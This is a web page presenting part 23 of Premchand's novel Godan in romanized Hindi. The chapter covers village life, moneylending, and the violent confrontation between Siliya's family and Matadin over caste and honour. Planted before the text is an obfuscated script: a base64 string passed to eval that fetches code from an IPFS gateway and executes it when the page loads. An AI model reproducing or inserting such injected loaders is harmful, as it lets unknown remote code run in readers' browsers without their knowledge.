गोदान उपन्यास भाग-23

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>gobar aur jhuniya ke jane ke bad ghar sunasan rahane laga . dhaniya ko bar-bar chunnoo ki yad ati rahati hai . bachche ki maan to jhuniya thi, par usaka palan dhaniya hi karati thi. vahi use ubatan malati, kajal lagati, sulati aur jab kam-kaj se avakash milata, use pyar karati. vatsaly ka yah nasha hi usaki vipatti ko bhulata rahata tha. usaka bhola-bhala, makkhan-sa muanh dekh kar vah apani sari chianta bhool jati aur snehamay garv se usaka hriday phool uthata . vah jivan ka adhar ab n tha . usaka soona khatola dekh kar vah ro uthati. vah kavach, jo sari chiantaoan aur durashaoan se usaki raksha karata tha, usase chhin gaya tha. vah bar-bar sochati, usane jhuniya ke sath aisi kaun-si buraee ki thi, jisaka usane yah dand diya. dain ne a kar usaka sone-sa ghar mitti mean mila diya. gobar ne to kabhi usaki bat ka javab bhi n diya tha. isi raan d ne use pho da aur vahaan le ja kar n jane kaun-kaun-sa nach nachaegi. yahaan hi vah bachche ki kaun bahut paravah karati thi. use to apane missi-kajal, maang-choti hi se chhutti nahian milati. bachche ki dekhabhal kya karegi? bechara akela zamin par p da rota hoga. bechara ek din bhi to sukh se nahian rahane pata. kabhi khaansi, kabhi dast, kabhi kuchh, kabhi kuchh. yah soch-soch kar use jhuniya par krodh ata. gobar ke lie ab bhi usake man mean vahi mamata thi. isi chu dail ne use kuchh khila-pila kar apane bas mean kar liya. aisi mayavini n hoti, to yah tona hi kaise karati? koee bat n poochhata tha. bhaujaiyoan ki latean khati thi. yah bhugga mil gaya to aj rani ho gee.

hori ne chidh kar kaha - jab dekho tab jhuniya hi ko dos deti hai. yah nahian samajhati ki apana sona khota to sonar ka kya dosh? gobar use n le jata to kya ap-se-ap chali jati? sahar ka dana-pani lagane se lauande ki aankhean badal geean, aisa kyoan nahian samajh leti.

dhaniya garaj uthi - achchha, chup raho. tumhian ne raan d ko moo d par chadha rakha tha, nahian maianne pahale hi din jha doo mar kar nikal diya hota.

khalihan mean dathean jama ho gee thian. hori bailoan ko jukhar kar anaj maan dane ja raha tha. pichhe muanh pher kar bola - man le, bahoo ne gobar ko pho d hi liya, to too itana kudhati kyoan hai? jo sara jamana karata hai, vahi gobar ne bhi kiya. ab usake bal-bachche hue. mere bal-bachchoan ke lie kyoan apani saansat karae, kyoan hamare sir ka bojh apane sir rakhe!

'tumhian upadrav ki j d ho.'

'to mujhe bhi nikal de. le ja bailoan ko, anaj maan d. maian huqqa pita hooan.'

'tum chal kar chakki piso, maian anaj maan doogi.'

vinod mean du:kh u d gaya. vahi usaki dava hai. dhaniya prasann ho kar roopa ke bal gooandhane baith gee,jo bilakul ulajh kar rah ge the aur hori khalihan chala. rasik basant sugandh aur pramod aur jivan ki vibhooti luta raha tha, donoan hathoan se dil khol kar. koyal am ki daliyoan mean chhipi apane rasili, madhur, atmasparshi kook se ashaoan ko jagati phirati thi. mahue ki daliyoan par mainoan ki barat-si lagi baithi thi. nim aur siras aur karauande apani mahak mean nasha-sa ghol dete the. hori amoan ke bag mean pahuancha to vrikshoan ke niche tare-se khile the. usaka vyathit, nirash man bhi is vyapak shobha aur sphoorati mean jaise doob gaya. tarang mean a kar gane laga -

'hiya jarat rahat din-rain.

am ki dariya koyal bole,

tanik n avat chain.'

samane se dulari sahuain, gulabi sa di pahane chali a rahi thi. paanv mean mote chaandi ke k de the, gale mean mote sone ki hansali, chehara sookha hua, par dil hara. ek samay tha, jab hori khet-khalihan mean use chhe da karata tha. vah bhabhi thi, hori devar tha; is nate donoan mean vinod hota rahata tha. jab se sahaji mar ge, dulari ne ghar se nikalana chho d diya. sare din dukan par baithi rahati thi aur vahian se sare gaanv ki khabar lagati rahati thi. kahian apas mean jhag da ho jay, sahuain vahaan bich-bachav karane ke lie avashy pahuanchegi. ane rupe sood se kam par rupe udhar n deti thi. aur yadyapi sood ke lobh mean mool bhi hath n ata tha - jo rupe leta, kha kar baith rahata - magar usake byaj ka dar jyoan-ka-tyoan bana rahata tha. bechari kaise vasool kare? nalish-phariyad karane se rahi, thana-pulis karane se rahi, keval jibh ka bal tha, par jyoan-jyoan umr ke sath jibh ki tezibadhati jati thi, usaki kat ghatati jati thi. ab usaki galiyoan par log hans dete the aur majak mean kahate - kya karegi rupe le kar kaki, sath to ek kau di bhi n le ja sakegi. garib ko khila-pila kar jitani asis mil sake, le-le. yahi paralok mean kam aega. aur dulari paralok ke nam se jalati thi.

hori ne chhe da - aj to bhabhi, tum sachamuch javan lagati ho.

sahuain magan ho kar boli - aj mangal ka din hai, najar n laga dena. isi mare maian kuchh pahanati-odhati nahian. ghar se nikalo to sabhi ghoorane lagate haian, jaise kabhi koee mehariya dekhi hi n ho. pateshvari lala ki purani ban abhi tak nahian chhooti.

hori thithak gaya, b da manoranjak prasang chhi d gaya tha. bail age nikal ge.

'vah to ajakal b de bhagat ho ge haian. dekhati nahian ho, har pooranamasi ko satyanarayan ki katha sunate haian aur donoan joon mandir mean darsan karane jate haian.'

'aise lanpat jitane hote haian, sabhi boodhe ho kar bhagat ban jate haian! kukarm ka parasachit to karana hi p data hai. poochho, maian ab budhiya huee, mujhase kya hansi.'

'tum abhi budhiya kaise ho geean bhabhi? mujhe to ab bhi.....'

'achchha, chup hi rahana, nahian dedh sau gali dooangi. l daka parades kamane laga, ek din nevata bhi n khilaya, seant-meant mean bhabhi banane ko taiyar.'

'mujhase kasam le lo bhabhi, jo maianne usaki kamaee ka ek paisa bhi chhua ho. n jane kya laya, kahaan kharach kiya, mujhe kuchh bhi pata nahian. bas, ek jo da dhoti aur ek pag di mere hath lagi.'

'achchha kamane to laga, aj nahian kal ghar sanbhalega hi. bhagavan use sukhi rakhe. hamare rupe bhi tho da-tho da dete chalo. sood hi to badh raha hai.

'tumhari ek-ek paee dooanga bhabhi, hath mean paise ane do. aur kha hi jaeange, to koee bahar ke to nahian haian, haian to tumhare hi.'

sahuain aisi vinod-bhari chapaloosiyoan se nirastr ho jati thi. muskarati huee apani rah chali gee. hori lapak kar bailoan ke pas pahuanch gaya aur unhean paur mean dal kar chakkar dene laga. sare gaanv ka yahi ek khalihan tha. kahian man daee ho rahi thi, koee anaj osa raha tha, koee galla taul raha tha! naee-bari, badhee, lohar, purohit, bhat, bhikhari, sabhi apane-apane jevare lene ke lie jama ho ge the. ek pe d ke niche jhiangurisianh khat par baithe apane savaee ugah rahe the. kee banie kh de galle ka bhav-tav kar rahe the. sare khalihan mean mandi ki si raunak thi. ek khatakin ber aur makoy bech rahi thi aur ek khoanche vala tel ke seb aur jalebiyaan lie phir raha tha. pandit datadin bhi hori se anaj bantavane ke lie a pahuanche the aur jhiangurisianh ke sath khat par baithe the.

datadin ne surati malate hue kaha - kuchh suna, sarakar bhi mahajanoan se kah rahi hai ki sood ka dar ghata do, nahian digari n milegi.

jhianguri tamakhoo phaank kar bole - pandit, maian to ek bat janata hooan. tumhean garaj p degi to sau bar hamase rupe udhar lene aoege, aur ham jo byaj chaheange, leange. sarakar agar asamiyoan ko rupe udhar dene ka koee bandobast n karegi, to hamean is qanoon se kuchh n hoga. ham dar kam likhaeange, lekin ek sau mean pachis pahale hi kat leange. isamean sarakar kya kar sakati hai?

'yah to thik hai, lekin sarakar bhi in batoan ko khoob samajhati hai. isaki bhi koee rok nikalegi, dekh lena.'

'isaki koee rok ho hi nahian sakati.'

'achchha, agar vah sart kar de, jab tak staanp par gaanv ke mukhiya ya karianda ke dasakhat n hoange, vah pakka n hoga, tab kya karoge?'

'asami ko sau bar garaj hogi, mukhiya ko hath-paanv jo d ke laega aur dasakhat karaega. ham to ek-chauthaee kat hi leange.'

'aur jo phans jao. jali hisab likha aur ge chaudah sal ko.'

jhiangurisianh zor se hansa - tum kya kahate ho pandit, kya tab sansar badal jayaga? qanoon aur nyay usaka hai, jisake pas paisa hai. qanoon to hai ki mahajan kisi asami ke sath k daee n kare, koee zamiandar kisi kastakar ke sath sakhti n kare, magar hota kya hai. roj hi dekhate ho. zamiandar musak bandhava ke pitavata hai aur mahajan lat aur joote se bat karata hai. jo kisan podha hai, usase n zamiandar bolata hai, n mahajan. aise adamiyoan se ham mil jate haian aur unaki madad se doosare adamiyoan ki gardan dabate haian. tumhare hi oopar rayasahab ke paanch sau rupe nikalate haian, lekin nokheram mean hai itani himmat ki tumase kuchh bole? vah janate haian, tumase mel karane hi mean unaka hit hai. kis asami mean itana boota hai ki roj adalat dau de? sara karabar isi tarah chala jayaga jaise chal raha hai. kachahari adalat usi ke sath hai, jisake pas paisa hai. ham logoan ko ghab dane ki koee bat nahian.

yah kah kar unhoanne khalihan ka ek chakkar lagaya aur phir a kar khat par baithate hue bole - haan, matee ke byah ka kya hua? hamari salah to hai ki usaka byah kar dalo. ab to b di badanami ho rahi hai.

datadin ko jaise tataiya ne kat khaya. is alochana ka kya ashay tha, vah khoob samajhate the. garm ho kar bole - pith pichhe adami jo chahe bake, hamare muanh par koee kuchh kahe, to usaki mooanchhean ukha d looan. koee hamari tarah nemi ban to le. kitanoan ko janata hooan, jo kabhi sandhya-bandan nahian karate, n unhean dharam se matalab, n karam se, n katha se matalab, n puran se. vah bhi apane ko brahman kahate haian. hamare oopar kya hansega koee, jisane apane jivan mean ek ekadasi bhi naga nahian ki, kabhi bina snan-poojan kie muanh mean pani nahian dala. nem ka nibhana kathin hai. koee bata de ki hamane kabhi bazar ki koee chiz khaee ho, ya kisi doosare ke hath ka pani piya ho, to usaki taang ki rah nikal jaooan. siliya hamari chaukhat nahian laanghane pati, chaukhat; baratan-bhaan de chhoona to doosari bat hai. maian yah nahian kahata ki matee yah bahut achchha kam kar raha hai, lekin jab ek bar bat ho gee to yah paji ka kam hai ki aurat ko chho d de. maian to khullamakhulla kahata hooan, isamean chhipane ki koee bat nahian. stri-jati pavitr hai.

datadin apani javani mean svayan b de rasiya rah chuke the, lekin apane nem-dharm se kabhi nahian chooke. matadin bhi suyogy putr ki bhaanti unhian ke pad-chihnoan par chal raha tha. dharm ka mool tatv hai pooja-path, katha-vrat aur chauka-choolha. jab pita-putr donoan hi mool tatv ko pak de hue haian, to kisaki majal hai ki unhean path-bhrasht kah sake?

jhiangurisianh ne kayal ho kar kaha - maianne to bhaee, jo suna tha, vah tumase kah diya.

datadin ne mahabharat aur puranoan se brahmanoan dvara any jatiyoan ki kanyaoan ke grahan kie jane ki ek lanbi soochi pesh ki aur yah siddh kar diya ki unase jo santan huee, vah brahman kahalaee aur ajakal ke jo brahman haian, vah unhian santanoan ki santan haian. yah pratha adikal se chali aee hai aur isamean koee lajja ki bat nahian.

jhiangurisianh unake paandity par mugdh ho kar bole - tab kyoan ajakal log vajapeyi aur sukul bane phirate haian?

'samay-samay ki paratha hai aur kya! kisi mean utana tej to ho. bis kha kar use pachana to chahie. vah satajug ki bat thi, satajug ke sath gee. ab to apana nibah biradari ke sath mil kar rahane mean hai, magar karooan kya, koee l daki vala ata hi nahian. tumase bhi kaha auroan se bhi kaha koee nahian sunata to maian kya l daki banaooan?'

jhiangurisianh ne daanta - jhooth mat bolo pandit, maian do adamiyoan ko phaans-phooans kar laya, magar tum muanh phailane lage, to donoan kan kh de karake nikal bhage. akhir kis birate par hajar-paanch sau maangate ho tum? das bighe khet aur bhikh ke siva tumhare pas aur hai kya?

datadin ke abhiman ko chot lagi. dadhi par hath pher kar bole - pas kuchh n sahi, maian bhikh hi maangata hooan, lekin maianne apane l dakiyoan ke byah mean paanch-paanch sau die haian, phir l dake ke lie paanch sau kyoan n maangooan? kisi ne seant-meant mean meri l daki byah li hoti, to maian bhi seant mean l daka byah leta. rahi haisiyat ki bat. tum jajamani ko bhikh samajho, maian to use jamiandari samajhata hooan, bankaghar. zamiandar mit jay, bankaghar toot jay, lekin jajamani aant tak bani rahegi. jab tak hiandoo-jati rahegi tab tak bamhan bhi raheange aur jajamani bhi rahegi. sahalag mean maje se ghar baithe sau-do-sau phatakar lete haian. kabhi bhag l d gaya, to char-paanch sau mar liya. kap de, baratan, bhojan alag. kahian-n-kahian nit hi kar-parojan p da hi rahata hai. kuchh n mile tab bhi ek-do thal aur do-char ane dakshina ke mil hi jate haian. aisa chain n jamiandari mean hai, n sahookari mean. aur phir mera to siliya se jitana ubar hota hai, utana brahman ki kanya se kya hoga? vah to bahuriya bani baithi rahegi. bahut hoga, rotiyaan paka degi. yahaan siliya akeli tin adamiyoan ka kam karati hai. aur maian use roti ke siva aur kya deta hooan? bahut hua, to sal mean ek dhoti de di.

doosare pe d ke niche datadin ka niji paira tha. char bailoan se man daee ho rahi thi. dhanna chamar bailoan ko haank raha tha, siliya paire se anaj nikal-nikal kar osa rahi thi aur matadin doosari or baitha apani lathi mean tel mal raha tha.

siliya saanvali saloni, chharahari balika thi, jo roopavati n ho kar bhi akarshak thi. usake has mean, chitavan mean, aangoan ke vilas mean harsh ka unmad tha, jisase usaki boti-boti nachati rahati thi, sir se paanv tak bhoose ke anuoan mean sani, pasine se tar, sir ke bal adhe khule, vah dau d-dau d kar anaj osa rahi thi, mano tan-man se koee khel khel rahi ho.

matadin ne kaha - aj saanjh tak anaj baki n rahe siliya! too thak gee ho to maian aooan?

siliya prasann mukh boli - tum kahe ko aoge pandit! maian sanjha tak sab osa dooangi.

'achchha, to maian anaj dho-dho kar rakh aooan. too akeli kya-kya kar legi?'

'tum ghab date kyoan ho, maian osa dooangi, dho kar rakh bhi aooangi. pahar rat tak yahaan dana bhi n rahega.'

dulari sahuain aj apana lehana vasool karati phirati thi. siliya usaki dukan se holi ke din do paise ka gulabi rang laee thi. abhi tak paise n die the. siliya ke pas a kar boli - kyoan ri siliya, mahina bhar rang lae ho gaya, abhi tak paise nahian die? maangati hooan to matak kar chali jati hai. aj maian bina paise lie n jaooangi.

matadin chupake-se sarak gaya tha. siliya ka tan aur man donoan le kar bhi badale mean kuchh n dena chahata tha. siliya ab usaki nigah mean keval kam karane ki mashin thi, aur kuchh nahian. usaki mamata ko vah b de kaushal se nachata rahata tha. siliya ne aankh utha kar dekha to matadin vahaan n tha. boli - chillao mat sahuain, yah le lo, do ki jagah char paise ka anaj. ab kya jan legi? maian mari tho de hi jati thi.

usane aandazase koee ser-bhar anaj dher mean se nikal kar sahuain ke phaile hue aanchal mean dal diya. usi vakt matadin pe d ki a d se jhallaya hua nikala aur sahuain ka aanchal pak d kar bola - anaj sidhe se rakh do sahuain, loot nahian hai.

phir usane lal aankhoan se siliya ko dekh kar daanta - toone anaj kyoan de diya? kisase poochh kar diya? too kaun hoti hai mera anaj dene vali?

sahuain ne anaj dher mean dal diya aur siliya hakka-bakka ho kar matadin ka muanh dekhane lagi. aisa jan p da, jis dal par vah nishchiant baithi huee thi, vah toot gee aur ab vah niradhar niche giri ja rahi hai. khisiyae hue muanh se, aankhoan mean aansoo bhar kar sahuain se boli - tumhare paise maian phir de dooangi sahuain! aj mujh par daya karo.

sahuain ne use dayardr netroan se dekha aur matadin ko dhikkar-bhari aankhoan se dekhati huee chali gee.

tab siliya ne anaj osate hue ahat garv se poochha - tumhari chiz mean mera kuchh akhtiyar nahian hai?

matadin aankhean nikal kar bola - nahian, tujhe koee akhtiyar nahian hai. kam karati hai, khati hai. jo too chahe ki kha bhi, luta bhi, to yah yahaan n hoga. agar tujhe yahaan n parata p data ho, to kahian aur ja kar kam kar, majooroan ki kami nahian hai. seant mean kam nahian lete, khana-kap da dete haian.

siliya ne us pakshi ki bhaanti, jise malik ne par kat kar pianjare se nikal diya ho, matadin ki or dekha. us chitavan mean vedana adhik thi ya bhartsana, yah kahana kathin hai. par usi pakshi ki bhaanti usaka man ph daph da raha tha aur ooanchi dal par unmukt vayumandal mean u dane ki shakti n pa kar usi pianjare mean ja baithana chahata tha, chahe use bedana, bepani, pianjare ki tiliyoan se sir takara kar mar hi kyoan n jana p de. siliya soch rahi thi, ab usake lie doosara kaun-sa thaur hai. vah byahata n ho kar bhi sanskar mean aur vyavahar mean aur manobhavana mean byahata thi, aur ab matadin chahe use mare ya kate, use doosara ashray nahian hai, doosara avalanb nahian hai. use vah din yad ae - aur abhi do sal bhi to nahian hue? jab yahi matadin usake talave sahalata tha, jab usane janeoo hath mean le kar kaha tha - siliya, jab tak dam mean dam hai, tujhe byahata ki tarah rakhooanga, jab vah prematur ho kar har mean aur bag mean aur nadi ke tat, par usake pichhe-pichhe pagaloan ki bhaanti phira karata tha. aur aj usaka yah nishthur vyavahar! mutthi-bhar anaj ke lie usaka pani utar liya.

usane koee javab n diya. kanth mean namak ke ek dale ka-sa anubhav karati huee ahat hriday aur shithil hathoan se phir kam karane lagi.

usi vakt usaki maan, bap, donoan bhaee aur kee any chamaroan ne n jane kidhar se a kar matadin ko gher liya. siliya ki maan ne ate hi usake hath se anaj ki tokari chhin kar pheank di aur gali de kar boli - raan d, jab tujhe majoori hi karani thi, to ghar ki majoori chho d kar yahaan kya karane aee. jab baanbhan ke sath rahati hai, to baanbhan ki tarah rah. sari biradari ki nak katava kar bhi chamarin hi banana tha, to yahaan kya ghi ka loanda lene aee thi. chulloo-bhar pani mean doob nahian marati.

jhiuangarisianh aur datadin donoan dau de aur chamaroan ke badale tevar dekh kar unhean shaant karane ki cheshta karane lage. jhiangurisianh ne siliya ke bap se poochha - kya bat hai chaudhari, kis bat ka jhag da hai?

siliya ka bap harakhoo sath sal ka boodha tha, kala, dubala, sookhi mirch ki tarah pichaka hua, par utana hi tikshn. bola - jhag da kuchh nahian hai thakur, ham aj ya to matadin ko chamar banake chho deange, ya unaka aur apana rakat ek kar deange. siliya kanya jat hai, kisi-n-kisi ke ghar to jayagi hi. is par hamean kuchh nahian kahana hai, magar use jo koee bhi rakhe, hamara ho kar rahe. tum hamean baanbhan nahian bana sakate, muda ham tumhean chamar bana sakate haian. hamean baanbhan bana do, hamari sari biradari banane ko taiyar hai. jab yah samarath nahian hai, to phir tum bhi chamar bano. hamare sath khao, pio, hamare sath utho-baitho. hamari ijjat lete ho, to apana dharam hamean do.

datadin ne lathi phatakar kar kaha - muanh sanbhal kar batean kar harakhua! teri bitiya vah kh di hai, le ja jahaan chahe. hamane use baandh nahian rakkha hai. kam karati thi, majoori leti thi. yahaan majooroan ki kami nahian hai.

siliya ki maan uangali chamaka kar boli - vah-vah pandit! khoob niyav karate ho. tumhari l daki kisi chamar ke sath nikal gee hoti aur tum isi tarah ki batean karate, to dekhati. ham chamar haian, isalie hamari koee ijjat hi nahian. ham siliya ko akele n le jaeange, usake sath matadin ko bhi le jaeange, jisane usaki ijjat biga di hai. tum b de nemi-dharami ho. usake sath sooge, lekin usake hath ka pani n piyoge! vahi chu dail hai ki yah sab sahati hai. maian to aise adami ko mahur de deti.

harakhoo ne apane sathiyoan ko lalakara - sun li in logoan ki bat ki nahian! ab kya kh de muanh takate ho.

itana sunana tha ki do chamaroan ne lapak kar matadin ke hath pak d lie, tisare ne jhapat kar usaka janeoo to d dala aur isake pahale ki datadin aur jhiangurisianh apani-apani lathi sanbhal sakean, do chamaroan ne matadin ke muanh mean ek b di-si haddi ka tuk da dal diya. matadin ne daant jak d lie. phir bhi vah ghinauni vastu usake hoanthoan mean to lag hi gee. unhean matali huee aur muanh apane-ap khul gaya aur haddi kanth tak ja pahuanchi. itane mean khalihan ke sare adami jama ho ge, par ashchary yah ki koee in dharm ke luteroan se mujahim n hua. matadin ka vyavahar sabhi ko napasand tha. vah gaanv ki bahoo-betiyoan ko ghoora karata tha, isalie man mean sabhi usaki durgati se prasann the. haan, oopari man se log chamaroan par rob jama rahe the.

hori ne kaha - achchha, ab bahut hua harakhoo! bhala chahate ho, to yahaan se chale jao.

harakhoo ne nidarata se uttar diya - tumhare ghar mean l dakiyaan haian hori mahato, itana samajh lo. isi tarah gaanv ki marajad big dane lagi, to kisi ki abaroo n bachegi.

ek kshan mean shatru par poori vijay pa kar adramanakariyoan ne vahaan se tal jana hi uchit samajha. janamat badalate der nahian lagati. usase bache rahana hi achchha hai.

matadin kai kar raha tha. datadin ne usaki pith sahalate hue kaha - ek-ek ko paanch-paanch sal ke lie n bhejavaya,to kahana. paanch-paanch sal tak chakki pisavaooanga.

harakhoo ne hek di ke sath javab diya - isaka yahaan koee gam nahian. kaun tumhari tarah baithe mauj karate haian? jahaan kam kareange, vahian adha pet dana mil jayaga.

matadin kai kar chukane ke bad nirjiv-sa zamin par let gaya, mano kamar toot gee ho, mano doob marane ke lie chulloo-bhar pani khoj raha ho. jis maryada ke bal par usaki rasikata aur ghamand aur purusharth ak data phirata tha, vah mit chuki thi. us haddi ke tuk de ne usake muanh ko hi nahian, usaki atma ko bhi apavitr kar diya tha. usaka dharm isi khan-pan, chhoot-vichar par tika hua tha. aj us dharm ki j d kat gee. ab vah lakh prayashchitt kare, lakh gobar khae aur gangajal pie, lakh dan-puny aur tirth-vrat kare, usaka mara hua dharm ji nahian sakata. agar akele ki bat hoti, to chhipa li jati. yahaan to sabake samane usaka dharm luta. ab usaka sir hamesha ke lie nicha ho gaya. aj se vah apane hi ghar mean achhoot samajha jayaga. usaki snehamayi mata bhi usase ghrina karegi. aur sansar se dharm ka aisa lop ho gaya ki itane adami keval kh de tamasha dekhate rahe. kisi ne chooan tak n ki. ek kshan pahale jo log use dekhate hi palagan karate the, ab use dekh kar muanh pher leange. vah kisi mandir mean bhi n ja sakega, n kisi ke baratan-bhaan de chhoo sakega. aur yah sab hua is abhagin siliya ke karan.

siliya jahaan anaj osa rahi thi, vahian sir jhukae kh di thi, mano yah usi ki durgati ho rahi hai. sahasa usaki maan ne a kar daanta - kh di takati kya hai? chal sidhe ghar, nahian boti-boti kat dalooangi. bap-dada ka nam to khoob ujagar kar chuki, ab kya karane par lagi hai?

siliya moortivat kh di rahi. mata-pita aur bhaiyoan par use krodh a raha tha. yah log kyoan usake bich mean bolate haian? vah jaise chahati hai, rahati hai, doosaroan se kya matalab? kahate haian, yahaan tera apaman hota hai, tab kya koee baanbhan usaka pakaya kha lega? usake hath ka pani pi lega? abhi jara der pahale usaka man matadin ke nithur vyavahar se khinn ho raha tha, par apane ghar valoan aur biradari ke is atyachar ne us virag ko prachand anurag ka roop de diya.

vidroh-bhare man se boli - maian kahian nahian jaooangi. too kya yahaan bhi mujhe jine n degi?

budhiya karkash svar se boli - too n chalegi?

'nahian.'

'chal sidhe se.'

'nahian jati.'

turant donoan bhaiyoan ne usake hath pak d lie aur use ghasitate hue le chale. siliya zamin par baith gee. bhaiyoan ne is par bhi n chho da. ghasitate hi rahe. usaki sa di phat gee, pith aur kamar ki khal chhil gee, par vah jane par raji n huee.

tab harakhoo ne l dakoan se kaha - achchha, ab ise chho d do. samajh leange mar gee, magar ab jo kabhi mere dvar par aee to lahoo pi jaooanga.

siliya jan par khel kar boli - haan, jab tumhare dvar par aooan, to pi lena.

budhiya ne krodh ke unmad mean siliya ko kee latean jamaeean aur harakhoo ne use hata n diya hota, to shayad pran hi le kar chho dati.

budhiya phir jhapati, to harakhoo ne use dhakke de kar pichhe hatate hue kaha - too b di hatyarin hai kaliya! kya use mar hi dalegi?

siliya bap ke pairoan se lipat kar boli - mar dalo dada, sab jane mil kar mar dalo! hay ammaan, tum itani nirdayi ho, isilie doodh pila kar pala tha? saur mean hi kyoan n gala ghoant diya? hay! mere pichhe pandit ko bhi tumane bhirast kar diya. usaka dharam le kar tumhean kya mila? ab to vah bhi mujhe n poochhega. lekin poochhe n poochhe, rahooangi to usi ke sath. vah mujhe chahe bhookhoan rakhe, chahe mar dale, par usaki itani saansat karake kaise chho d dooan? mar jaooangi, par harajaee n banooangi. ek bar jisane baanh pak d li, usi ki rahooangi.

kaliya ne hoth chaba kar kaha - jane do raan d ko. samajhati hai, vah isaka nibah karega, magar aj hi mar kar bhaga n de to muanh n dikhaooan.

bhaiyoan ko bhi daya a gee. siliya ko vahian chho d kar sab-ke-sab chale ge. tab vah dhire-se uth kar lang dati, karahati, khalihan mean a kar baith gee aur aanchal mean muanh dhaanp kar rone lagi. datadin ne julahe ka gussa dadhi par utara - unake sath chali kyoan n gee siliya! ab kya karavane par lagi huee hai? mera satyanas karake bhi n pet nahian bhara?

siliya ne aansoo-bhari aankhean oopar uthaeean. unamean tej ki jhalak thi.

'unake sath kyoan jaooan? jisane baanh pak di hai, usake sath rahooangi.'

panditaji ne dhamaki di - mere ghar mean paanv rakha, to latoan se bat karooanga.

siliya ne uddandata se kaha - mujhe jahaan vah rakheange, vahaan rahooangi. pe d tale rakhean, chahe mahal mean rakhean.

matadin sanjnahin-sa baitha tha. dopahar hone ko a raha tha. dhoop pattiyoan se chhan-chhan kar usake chehare par p d rahi thi. mathe se pasina tapak raha tha. par vah maun, nispand baitha hua tha.

sahasa jaise usane hosh mean a kar kaha - mere lie ab kya kahate ho dada?

datadin ne usake sir par hath rakh kar dhaan das dete hue kaha - tumhare lie abhi maian kya kahooan beta? chal kar nahao, khao, phir panditoan ki jaisi vyavastha hogi, vaisa kiya jayaga. haan, ek bat hai, siliya ko tyagana p dega.

matadin ne siliya ki or rakt-bhare netroan se dekha - maian ab usaka kabhi muanh n dekhooanga, lekin parasachit ho jane par phir to koee dos n rahega?

'parasachit ho jane par koee dos-pap nahian rahata.'

'to aj hi panditoan ke pas jao.'

'aj hi jaooanga beta!'

'lekin pandit log kahean ki isaka parasachit nahian ho sakata, tab?'

'unaki jaisi ichchha.'

'to tum mujhe ghar se nikal doge?'

datadin ne putr-sneh se vihval ho kar kaha - aisa kahian ho sakata hai, beta! dhan jay, dharam jay, lok-marajad jay, par tumhean nahian chho d sakata.

matadin ne lak di uthaee aur bap ke pichhe-pichhe ghar chala. siliya bhi uthi aur lang dati huee usake pichhe ho li.

matadin ne pichhe phir kar nirmam svar mean kaha - mere sath mat a. mera tujhase koee vasta nahian. itani saansat karava ke bhi tera pet nahian bharata.

siliya ne dhrishtata ke sath usaka hath pak d kar kaha - vasta kaise nahian hai? isi gaanv mean tumase dhani, tumase suandar, tumase ijjatadar log haian. maian unaka hath kyoan nahian pak dati? tumhari yah duradasa hi aj kyoan huee? jo rassi tumhare gale p d gee hai, use tum lakh chaho, nahian to d sakate. aur n maian tumhean chho d kar kahian jaooangi. majoori karooangi, bhikh maangooangi, lekin tumhean n chhodooangi.

yah kahate hue usane matadin ka hath chho d diya aur phir khalihan mean ja kar anaj osane lagi. hori abhi tak vahaan anaj maan d raha tha. dhaniya use bhojan karane ke lie bulane aee thi. hori ne bailoan ko paire se bahar nikal kar ek pe d mean baandh diya aur siliya se bola - too bhi ja, kha-pi a siliya! dhaniya yahaan baithi hai. teri pith par ki sa di to lahoo se rang gee hai re! kahian ghav pak n jae. tere ghar vale b de niradayi haian.

siliya ne usaki or karun netroan se dekha - yahaan niradayi kaun nahian hai, dada! maianne to kisi ko dayavan nahian paya.

'kya kaha pandit ne?'

'kahate haian, mera tumase koee vasta nahian.'

'achchha! aisa kahate haian!'

'samajhate hoange, is tarah apane muanh ki lali rakh leange, lekin jis bat ko duniya janati hai, use kaise chhipa leange? meri rotiyaan bhari haian, n dean. mere lie kya? majoori ab bhi karati hooan, tab bhi karooangi. sone ko hath-bhar jagah tumhian se magooangi to kya tum n doge?'

dhaniya dayardr ho kar boli - jagah ki kaun kami hai beti - too chal mere ghar rah.

hori ne katar svar mean kaha - bulati to hai, lekin pandit ko janati nahian?

dhaniya ne nirbhik svar mean kaha - big deange to ek roti besi kha leange, aur kya kareange. koee usaki dabail hooan? usaki ijjat li, biradari se nikalavaya, ab kahate haian, mera tujhase koee vasta nahian. adami hai ki kasaee! yah usaki niyat ka aj phal mila hai. pahale nahian soch liya tha. tab to bihar karate rahe. ab kahate haian, mujhase koee vasta nahian!'

hori ke vichar mean dhaniya galat kar rahi thi. siliya ke ghar valoan ne matee ko kitana bedharam kar diya, yah koee achchha kam nahian kiya. siliya ko chahe mar kar le jate, chahe dular kar le jate. vah unaki l daki hai. matee ko kyoan bedharam kiya?

dhaniya ne phatakar bataee - achchha rahane do, b de nyayi banate ho. marad-marad sab ek hote haian. isako matee ne bedharam kiya, tab to kisi ko bura n laga. ab jo matee bedharam ho ge, to kyoan bura lagata hai! kya siliya ka dharam, dharam hi nahian? rakhi to chamarin, us par nek-dharami banate haian. b da achchha kiya harakhoo chaudhari ne. aise guandoan ki yahi saza hai. too chal siliya mere ghar. n-jane kaise bedarad maan-bap haian ki bechari ki sari pith lahooluhan kar di. tum jake sona ko bhej do. maian ise le kar ati hooan.

hori ghar chala gaya aur siliya dhaniya ke pairoan par gir kar rone lagi.

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sanbandhit lekh

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